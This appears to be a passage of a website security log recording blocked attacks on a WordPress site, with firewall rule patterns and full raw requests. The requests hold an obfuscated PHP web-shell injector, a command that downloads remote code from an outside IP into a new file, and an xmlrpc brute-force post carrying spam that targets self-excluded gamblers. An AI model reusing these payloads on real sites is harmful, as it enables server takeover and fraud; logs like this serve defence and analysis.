2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:44:23","212.87.197.20","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:5225\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nAC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:44:49","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:5225\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nLf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:45:41","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JG:%3C%3Fphp%20%20file_put_contents%28%27faculty.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ofpFULzpwX%27%29%29%3B","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:170\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\n\nJG=%3C%3Fphp%20%20file_put_contents%28%27faculty.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ofpFULzpwX%27%29%29%3B"]
["2026-05-12 15:45:50","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to 